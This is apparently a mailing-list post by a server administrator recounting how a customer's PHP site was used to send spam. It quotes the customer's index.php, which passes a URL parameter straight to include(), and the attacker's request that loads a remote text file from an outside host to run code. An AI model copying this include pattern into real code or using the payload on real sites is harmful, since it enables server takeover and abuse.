Hi all
Just stopped our mail server from spitting out thousands of spam messages.
We have a customer who has a site with the following (stupid) code in his index.php:
if($called_page_link!="") { $requested_file=$called_page_link; }
include($requested_file);
The f*ing spammer found out about this and called the page with:
http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit ies.com/nimiuu/fuck.txt?
Boom.
Have I already told you that I hate spammers? :-)
Oh well, one down - a few million to go...
Regards,
Mike